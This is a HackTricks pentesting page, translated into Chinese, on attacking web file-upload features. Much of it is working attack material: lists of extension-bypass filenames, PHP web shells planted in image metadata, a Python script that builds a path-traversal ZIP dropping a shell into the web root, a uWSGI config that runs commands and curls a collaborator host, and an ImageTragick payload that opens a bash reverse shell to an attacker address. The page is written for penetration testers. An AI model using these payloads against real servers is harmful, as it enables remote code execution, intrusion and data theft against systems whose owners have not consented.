# File Upload

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e70bceed6fa35760d025f037a78106ab025a68cd%2Fimage%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

如果您对**黑客职业**感兴趣并想要攻破不可能的目标 - **我们正在招聘！**（需要流利的波兰语书面和口语表达能力）。

{% embed url="<https://www.stmcyber.com/careers>" %}

## 文件上传通用方法

其他有用的扩展名：

* **PHP**: *.php*, *.php2*, *.php3*, .*php4*, .*php5*, .*php6*, .*php7*, .phps, .*phps*, .*pht*, .*phtm, .phtml*, .*pgif*, *.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module*
* **在PHPv8中工作**: *.php*, *.php4*, *.php5*, *.phtml*, *.module*, *.inc*, *.hphp*, *.ctp*
* **ASP**: *.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml*
* **Jsp:** *.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action*
* **Coldfusion:** *.cfm, .cfml, .cfc, .dbm*
* **Flash**: *.swf*
* **Perl**: *.pl, .cgi*
* **Erlang Yaws Web Server**: *.yaws*

### 绕过文件扩展名检查

1. 如果适用，**检查**之前的**扩展名**。还要尝试使用一些**大写字母**进行测试：*pHp, .pHP5, .PhAr ...*
2. *在执行扩展名之前**添加一个有效的扩展名**进行检查（也使用之前的扩展名）：*

* *file.png.php*
* *file.png.Php5*

3. 尝试在末尾添加**特殊字符**。您可以使用Burp来**暴力破解**所有**ascii**和**Unicode**字符。 (*请注意，您还可以尝试使用**先前提到的扩展名***)

* *file.php%20*
* *file.php%0a*
* *file.php%00*
* *file.php%0d%0a*
* *file.php/*
* *file.php.\\*
* *file.*
* *file.php....*
* *file.pHp5....*

4. 尝试绕过保护，通过**欺骗服务器端的扩展名解析器**，使用**双重扩展名**或在扩展名之间**添加垃圾**数据（**空字节**）。*您还可以使用**先前的扩展名**来准备更好的有效负载。*

* *file.png.php*
* *file.png.pHp5*
* *file.php#.png*
* *file.php%00.png*
* *file.php\x00.png*
* *file.php%0a.png*
* *file.php%0d%0a.png*
* *file.phpJunk123png*

5. 在之前的检查中添加**另一层扩展名**：

* *file.png.jpg.php*
* *file.php%00.png%00.jpg*

6. 尝试将**执行扩展名放在有效扩展名之前**，希望服务器配置错误。 （用于利用Apache配置错误，其中任何带有扩展名\*\* ***.php*****，但**不一定以.php\*\*结尾的内容将执行代码）：

* *例如：file.php.png*

7. 在**Windows**中使用**NTFS备用数据流（ADS）**。在这种情况下，会在禁止的扩展名之后和允许的扩展名之前插入冒号字符“:”。结果，服务器上将创建一个带有禁止扩展名的**空文件**（例如“file.asax:.jpg”）。稍后可以使用其他技术编辑此文件，例如使用其短文件名。 “**::$data**”模式也可用于创建非空文件。因此，在此模式后添加一个点字符也可能有助于绕过进一步的限制（例如“file.asp::$data.”）
8. 尝试突破文件名限制。有效扩展名被截断，恶意PHP代码被留下。AAA<--SNIP-->AAA.php

```
# Linux最大255字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
# 上传文件并检查响应允许多少字符。假设236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 制作有效负载
AAA<--SNIP 232 A-->AAA.php.png
```

### 绕过内容类型、魔术数字、压缩和调整大小

* 通过将**Content-Type** **头**的**值**设置为：*image/png*，*text/plain*，*application/octet-stream* 来绕过**Content-Type**检查。

1. Content-Type **字典**: <https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt>

* 通过在文件开头添加**真实图像的字节**（混淆 *file* 命令）或在**元数据**中引入**shell**来绕过**魔术数字**检查：\
  `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
  或者你也可以直接在图像中**引入有效负载**：\
  `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* 如果**压缩**被添加到您的图像中，例如使用一些标准的PHP库如[PHP-GD](https://www.php.net/manual/fr/book.image.php)，之前的技术将不再有用。然而，您可以使用**PLTE块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本，这些文本将**在压缩后保留**。
* [**带有代码的Github链接**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
* 网页也可能会**调整**图像大小，例如使用PHP-GD函数 `imagecopyresized` 或 `imagecopyresampled`。然而，您可以使用**IDAT块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本，这些文本将**在压缩后保留**。
* [**带有代码的Github链接**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
* 另一种技术是创建一个**在图像调整大小后仍然有效的有效负载**，使用PHP-GD函数 `thumbnailImage`。然而，您可以使用**tEXt块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本，这些文本将**在压缩后保留**。
* [**带有代码的Github链接**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)

### 其他检查技巧

* 查找一个漏洞来**重命名**已上传的文件（更改扩展名）。
* 查找**本地文件包含**漏洞以执行后门。
* **可能的信息泄露**：

1. **多次**上传（并**同时**）**相同文件**，**相同名称**
2. 上传一个**与已存在的文件**或**文件夹**同名的文件
3. 上传一个文件，其名称为\*\*“.”、“..”或“…”**。例如，在**Windows\*\*的Apache中，如果应用程序将上传的文件保存在“/www/uploads/”目录中，“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
4. 在**NTFS**中上传一个可能不容易删除的文件，例如\*\*“…:.jpg”\*\*（Windows）
5. 在**Windows**中上传一个带有无效字符的文件，例如其名称中的 `|<>*?”`（Windows）
6. 在**Windows**中使用**保留**（禁止）的**名称**上传文件，如 CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8 和 LPT9。

* 还尝试**上传一个可执行文件**（.exe）或一个（不太可疑的）**.html** 文件，当受害者意外打开时将**执行代码**。

### 特殊扩展技巧

如果您正在尝试将文件上传到**PHP服务器**，[查看执行代码的\*\*.htaccess\*\*技巧](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
如果您正在尝试将文件上传到**ASP服务器**，[查看执行代码的\*\*.config\*\*技巧](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/iis-internet-information-services#execute-config-files)。

`.phar` 文件类似于 Java 的 `.jar` 文件，但用于 PHP，可以像 PHP 文件一样**使用**（使用 PHP 执行它，或将其包含在脚本中...）

`.inc` 扩展有时用于仅用于**导入文件**的 PHP 文件，因此，某些时候，某人可能已经允许**执行**此扩展名。

## **Jetty RCE**

如果您可以将 XML 文件上传到 Jetty 服务器，您可以获得[RCE，因为**新的 \*.xml 和 \*.war 文件会自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 因此，如下图所示，将 XML 文件上传到 `$JETTY_BASE/webapps/` 并等待 shell！

![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-4f2d7d1408ac9a25ff9543c2e7b7f115b5a0af55%2Fimage%20\(1044\).png?alt=media)

## **uWSGI RCE**

有关此漏洞的详细探讨，请查看原始研究：[uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。

如果有能力修改 `.ini` 配置文件，则可以利用 uWSGI 服务器中的远程命令执行（RCE）漏洞。uWSGI 配置文件利用特定语法来包含“魔术”变量、占位符和运算符。值得注意的是，“@” 运算符，如 `@(filename)`，旨在包含文件的内容。在 uWSGI 中支持的各种方案中，“exec” 方案特别强大，允许从进程的标准输出中读取数据。当处理 `.ini` 配置文件时，此功能可用于恶意目的，如远程命令执行或任意文件写入/读取。

考虑以下有害的 `uwsgi.ini` 文件示例，展示了各种方案：

```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```

## **wget 文件上传/SSRF 技巧**

在某些情况下，您可能会发现服务器正在使用 **`wget`** 来 **下载文件**，您可以 **指定** **URL**。在这些情况下，代码可能会检查下载文件的扩展名是否在白名单内，以确保只有允许的文件会被下载。然而，**这种检查可以被绕过。**\
**Linux** 中 **文件名** 的 **最大长度** 是 **255**，但是 **wget** 会将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件，这个文件名将 **绕过** **检查**（就像在这个例子中 **".gif"** 是一个 **有效** 的扩展名），但 `wget` 会将文件重命名为 **"A"\*232+".php"**。

```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```

```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```

请注意，您可能正在考虑的**另一种选项**是绕过此检查的方法是使**HTTP服务器重定向到另一个文件**，因此初始URL将通过检查，然后wget将使用新名称下载重定向的文件。这**不会起作用**，**除非**使用**参数**`--trust-server-names`来使用wget，因为**wget将使用原始URL中指定的文件名称下载重定向的页面**。

## 工具

* [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass)是一个强大的工具，旨在帮助渗透测试人员和漏洞猎人测试文件上传机制。它利用各种漏洞赏金技术简化了识别和利用漏洞的过程，确保对Web应用程序进行全面评估。

## 从文件上传到其他漏洞

* 将**文件名**设置为`../../../tmp/lol.png`，尝试实现**路径遍历**
* 将**文件名**设置为`sleep(10)-- -.jpg`，可能会实现**SQL注入**
* 将**文件名**设置为`<svg onload=alert(document.domain)>`以实现XSS
* 将**文件名**设置为`; sleep 10;`以测试一些命令注入（更多[命令注入技巧请参见此处](https://hacktricks.xsx.tw/pentesting-web/command-injection)）
* [图像（svg）文件上传中的**XSS**](https://hacktricks.xsx.tw/xss-cross-site-scripting#xss-uploading-files-svg)
* **JS**文件**上传** + **XSS** = [**Service Workers**利用](https://hacktricks.xsx.tw/xss-cross-site-scripting#xss-abusing-service-workers)
* [**svg上传中的XXE**](https://hacktricks.xsx.tw/xxe-xee-xml-external-entity#svg-file-upload)
* 通过上传svg文件实现[**开放重定向**](https://hacktricks.xsx.tw/open-redirect#open-redirect-uploading-svg-files)
* 从[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)尝试**不同的svg有效负载**
* [著名的**ImageTrick**漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* 如果您可以**指示Web服务器从URL中获取图像**，您可以尝试滥用[SSRF](https://hacktricks.xsx.tw/pentesting-web/ssrf-server-side-request-forgery)。如果此**图像**将被**保存**在某个**公共**站点上，您还可以指示URL从<https://iplogger.org/invisible/>并**窃取每个访问者的信息**。
* [通过PDF-Adobe上传**绕过XXE和CORS**](https://hacktricks.xsx.tw/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass)
* 特制的PDF文件用于XSS：[以下页面展示了如何**注入PDF数据以执行JS**](https://hacktricks.xsx.tw/pentesting-web/xss-cross-site-scripting/pdf-injection)。如果您可以上传PDF文件，您可以根据给定的指示准备一些将执行任意JS的PDF文件。
* 上传\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))内容以检查服务器是否有任何**防病毒软件**
* 检查上传文件是否有任何**大小限制**

以下是您可以通过上传实现的前10项事项列表（来自[此处](https://twitter.com/SalahHasoneh1/status/1281274120395685889)）：

1. **ASP / ASPX / PHP5 / PHP / PHP3**：Webshell / RCE
2. **SVG**：存储型XSS / SSRF / XXE
3. **GIF**：存储型XSS / SSRF
4. **CSV**：CSV注入
5. **XML**：XXE
6. **AVI**：LFI / SSRF
7. **HTML / JS**：HTML注入 / XSS / 开放重定向
8. **PNG / JPEG**：像素洪水攻击（DoS）
9. **ZIP**：通过LFI实现RCE / DoS
10. **PDF / PPTX**：SSRF / BLIND XXE

#### Burp扩展

{% embed url="<https://github.com/portswigger/upload-scanner>" %}

## 魔术头字节

* **PNG**：`"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**：`"\xff\xd8\xff"`

有关其他文件类型，请参考<https://en.wikipedia.org/wiki/List_of_file_signatures>。

### Zip/Tar文件自动解压上传

如果您可以上传一个将在服务器内部解压缩的ZIP文件，您可以执行两项操作：

#### 符号链接

上传一个包含指向其他文件的软链接的链接，然后访问解压缩的文件，您将访问链接的文件：

```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```

### 在不同文件夹中解压缩

在解压缩过程中意外在目录中创建文件是一个重要问题。尽管最初的假设是这种设置可能会防止通过恶意文件上传进行OS级别的命令执行，但ZIP存档格式的分层压缩支持和目录遍历功能可以被利用。这使得攻击者可以通过操纵目标应用程序的解压缩功能来绕过限制并逃离安全上传目录。

一个自动化利用程序可以用于创建这样的文件，可以在[**GitHub上的evilarc**](https://github.com/ptoomey3/evilarc)找到。该实用程序的使用方法如下：

```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```

另外，**使用evilarc的符号链接技巧**也是一种选择。如果目标是针对类似`/flag.txt`这样的文件，应在您的系统中创建指向该文件的符号链接。这可以确保evilarc在操作过程中不会遇到错误。

以下是用于创建恶意zip文件的Python代码示例：

```python
#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()
```

**利用压缩进行文件喷射**

有关更多详细信息，请查看**原始帖子**：<https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/>

1. **创建 PHP Shell**：编写 PHP 代码以执行通过 `$_REQUEST` 变量传递的命令。

```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```

2. **文件喷射和压缩文件创建**：创建多个文件，并组装一个包含这些文件的 zip 存档。

```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```

3. **使用十六进制编辑器或 vi 进行修改**：使用 vi 或十六进制编辑器更改 zip 文件中文件的名称，将 "xxA" 更改为 "../" 以遍历目录。

```bash
:set modifiable
:%s/xxA/..\//g
:x!
```

## ImageTragic

将此内容与图像扩展名上传以利用漏洞\*\*(ImageMagick，7.0.1-1)\*\*（来自[exploit](https://www.exploit-db.com/exploits/39767)）

```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```

## 将 PHP Shell 嵌入 PNG

在 PNG 文件的 IDAT 块中嵌入 PHP Shell 可以有效地绕过某些图像处理操作。PHP-GD 中的 `imagecopyresized` 和 `imagecopyresampled` 函数在这种情况下特别相关，因为它们通常用于调整大小和重采样图像。嵌入的 PHP Shell 能够不受这些操作的影响，对于某些用例来说是一个重要优势。

关于这种技术的详细探讨，包括其方法论和潜在应用，可以在以下文章中找到：["在 PNG IDAT 块中编码 Web Shell"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。这个资源提供了对这个过程及其影响的全面理解。

更多信息请查看：<https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/>

## 多语文件

多语文件在网络安全中扮演着独特的角色，它们是变色龙，可以同时有效地存在于多种文件格式中。一个有趣的例子是 [GIFAR](https://en.wikipedia.org/wiki/Gifar)，它是 GIF 和 RAR 存档的混合体。这样的文件不仅限于这种组合；像 GIF 和 JS 或 PPT 和 JS 这样的组合也是可行的。

多语文件的核心作用在于它们能够规避基于文件类型筛选文件的安全措施。各种应用程序的常见做法包括只允许上传特定文件类型，如 JPEG、GIF 或 DOC，以减轻潜在有害格式（如 JS、PHP 或 Phar 文件）带来的风险。然而，多语文件通过符合多种文件类型的结构标准，可以偷偷地绕过这些限制。

尽管多语文件具有适应性，但也存在一些限制。例如，虽然一个多语文件可能同时具有 PHAR 文件（PHp ARchive）和 JPEG 的特性，但其上传成功可能取决于平台的文件扩展名策略。如果系统对允许的扩展名要求严格，那么多语文件的结构双重性可能不足以保证其上传成功。

更多信息请查看：<https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a>

## 参考资料

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files>
* <https://github.com/modzero/mod0BurpUploadScanner>
* <https://github.com/almandin/fuxploider>
* <https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html>
* <https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/>
* <https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e70bceed6fa35760d025f037a78106ab025a68cd%2Fimage%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

如果您对 **黑客职业** 感兴趣并想要攻破不可攻破的系统 - **我们正在招聘！**（需要流利的波兰语书面和口语能力）。

{% embed url="<https://www.stmcyber.com/careers>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品
* **加入** 💬 [**Discord 群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注** 我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>
